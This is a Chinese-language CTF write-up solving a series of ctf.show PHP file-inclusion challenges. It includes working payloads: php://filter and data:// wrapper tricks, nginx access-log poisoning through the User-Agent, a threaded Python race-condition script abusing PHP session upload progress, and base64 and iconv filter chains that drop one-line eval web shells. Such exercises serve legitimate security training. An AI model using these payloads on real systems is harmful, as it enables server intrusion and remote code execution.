文件包含
web78-79
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
include($file);
}else{
highlight_file(__FILE__);
}
?>
伪协议:
?file=php://filter/read=convert.base64-encode/resource=flag.php
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs=
web80
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
此处利用的是日志文件被包含,然后通过ua头来写入命令执行函数
GET /?file=../../../../var/log/nginx/access.log HTTP/1.1
Host: 33343a7c-bfff-4698-bb14-da66ae32aab7.challenge.ctf.show:8080
User-Agent: <?php system('ls');?>
这里我go失败了
web81
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
利用web80的方法成功实现命令执行,并读取到flag
web82
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
点被ban了所以上面的方法不能使用了
这个题目要利用php_SESSION_UPLOAD_PROGRESS
阻碍条件一
session.auto_start=On(也就是等于利用session_start();来初始化一个会话),则PHP在接收请求的时候会自动初始化Session,不再需要执行session_start()。但默认情况下,这个选项都是关闭的。
有利条件一
但是还有一个默认选项session.use_strict_mode的值为off(默认值),如果开启他会限制用户的sessid,使其非用户可控,这样做的目的就是在cookie中设置phpsessid的时候保证我们的值可控来实现达到攻击的效果,这样我们如果传入COOKIE:PHPSESSID=flag,加上我们传入的post数据,就会生成/tmp/sess_flag文件,即使用户没有初始化一个会话,php也会自动初始化一个session,并且同时会产生一个健值,这个健值有ini.get(“session.upload_progress.prefix”)+由我们构造的session.upload_progress.name值组成,最后被写入sess_name文件里。
阻碍条件二
默认配置session.upload_progress.cleanup = on
导致文件上传后,session文件内容立即清空,一旦读取了所有POST数据,它就会清除进度信息
解决方案:利用条件竞争来实现
首先构造post数据包:
<!DOCTYPE html>
<html>
<body>
<form action="http://988f4820-c15d-47e3-ae23-353645cab577.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
线程开的大一点基本在20左右然后就会爆出来
理一下思路:
因为当session.upload_progress.enabled在ini选项开启时,PHP 能够在每一个文件上传时监测上传进度。 这个信息对上传请求自身并没有什么帮助,但在文件上传时应用可以发送一个POST请求到终端(例如通过XHR)来检查这个状态
而在ini文件当中是这个样子的
session.upload_progress.enabled = "1"
session.upload_progress.cleanup = "1"
session.upload_progress.prefix = "upload_progress_"
session.upload_progress.name = "PHP_SESSION_UPLOAD_PROGRESS"
session.upload_progress.freq = "1%"
session.upload_progress.min_freq = "1"
首先利用post传包,并且利用php_session.upload_progress来做到将自己定义的名字为phpsessid中的值的文件成功传入攻击对象服务器中,又因为clean方法的存在,所以需要一边包含此文件,一边传入此文件来触发文件包含漏洞,达到命令执行的效果
session文件默认存储路径
/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID
web83
<?php
session_unset();
session_destroy();
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
比上一道题多了两个函数:
session_unset() 会释放当前会话注册的所有会话变量。
session_destroy() 销毁当前会话中的全部数据, 但是不会重置当前会话所关联的全局变量, 也不会重置会话 cookie。 如果需要再次使用会话变量, 必须重新调用 **session_start()**函数。
为了彻底销毁会话,比如在用户退出登录的时候,必须同时重置会话 ID。 如果是通过 cookie 方式传送会话 ID 的,那么同时也需要 调用 setcookie() 函数来 删除客户端的会话 cookie。
**Hints:**这里需要多添加session_start()来建立会话
<!DOCTYPE html>
<html>
<body>
<form action="http://e0095d68-5aa1-477e-9294-4ee1c0d46581.challenge.ctf.show:8080/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
<?php
session_start();
?>
大佬脚本(可以一把梭到web86,没有测试过只是帖一下不知道好用不好用):
import io
import sys
import requests
import threading
sessid = 'Qftm'
def POST(session):
while True:
f = io.BytesIO(b'a' * 1024 * 50)
session.post(
'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/',
data={"PHP_SESSION_UPLOAD_PROGRESS":"<?php system('cat *');fputs(fopen('shell.php','w'),'<?php @eval($_POST[mtfQ])?>');?>"},
files={"file":('q.txt', f)},
cookies={'PHPSESSID':sessid}
)
def READ(session):
while True:
response = session.get(f'http://250307c3-cf87-4811-987f-20189fa2442c.chall.ctf.show/?file=/tmp/sess_{sessid}')
if 'flag' not in response.text:
print('[+++]retry')
else:
print(response.text)
sys.exit(0)
with requests.session() as session:
t1 = threading.Thread(target=POST, args=(session, ))
t1.daemon = True
t1.start()
READ(session)
依然得到fl0g.php
然后同样利用条件竞争来读取即可线程20左右很快就读取到了
web84
看了一下剩下一直到web86的Hint,发现一摸一样所以就只帖一下源码,不打算重复操作了其实既然明白了session.upload_process对文件上传的处理过程,这种题目就已经没有了多大意义了
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
system("rm -rf /tmp/*");
include($file);
}else{
highlight_file(__FILE__);
}
这里面多了一个删除的命令,但是因为session.upload_progress.cleanup = "1"的作用重复了,所以只要访问够快,就一定可以访问到,所以没去尝试,原理一样
web85
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
if(file_exists($file)){
$content = file_get_contents($file);
if(strpos($content, "<")>0){
die("error");
}
include($file);
}
}else{
highlight_file(__FILE__);
}
同理,将你访问的文件进行判断是否有<这个符号,有就直接挂,感觉竞争上的话应该也可以
web86
<?php
define('还要秀?', dirname(__FILE__));
set_include_path(还要秀?);
if(isset($_GET['file'])){
$file = $_GET['file'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
include($file);
}else{
highlight_file(__FILE__);
}
定义一个常量,值为当前目录的路径,经过测试:/var/www/html竞争依然可以行得通
web87
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
$content = $_POST['content'];
$file = str_replace("php", "???", $file);
$file = str_replace("data", "???", $file);
$file = str_replace(":", "???", $file);
$file = str_replace(".", "???", $file);
file_put_contents(urldecode($file), "<?php die('大佬别秀了');?>".$content);
}else{
highlight_file(__FILE__);
}
首先了解一些base64编码的原理
步骤:
1.利用gir传参决定以base64的方式写入1.php
2.由于base64特殊符号只识别/+所以多加两位密文字母做到4的整数位来使其符合base64的位数
payload:
?file=php://filter/write=convert.base64-decode/resource=666.php
这个地方get传参需要两次url编码
content=yyPD9waHAgQGV2YWwoJF9QT1NUWzFdKTs/Pg==
此处base64解码:<?php @eval($_POST[1]);?>
然后访问666.php配合hackbar执行一句话木马即可
web88
<?php
if(isset($_GET['file'])){
$file = $_GET['file'];
if(preg_match("/php|\~|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\-|\_|\+|\=|\./i", $file)){
die("error");
}
include($file);
}else{
highlight_file(__FILE__);
}
data伪协议就能过
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpOyA/Pg //<?php system("ls"); ?>删除了最后的两个==
?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJjYXQgZmwwZy5waHAiKTsgPz4 //<?php system("cat fl0g.php"); ?>删除了最后的一个=
web117
<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
die('too young too simple sometimes naive!');
}
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
利用各种编码绕过:
file_put_content和死亡·杂糅代码之缘 - 先知社区 (aliyun.com)
iconv ( string $in_charset , string $out_charset , string $str ) :
string将字符串 str 从 in_charset 转换编码到 out_charset。
in_charset:输入的字符集。
out_charset:输出的字符集。
利用脚本(php版本需要控制在5.2左右):
<?php
echo iconv("UCS-2LE","UCS-2BE",'<?php @eval($_POST[hack]);?>');
?>
//?<hp pe@av(l_$OPTSh[ca]k;)>?
因为是两位进行一次反转,所以要尽量保证你的总字符串位数为偶数
payload:
?file=php://filter/convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pe@av(l_$OPTSh[ca]k;)>?
getshell!!!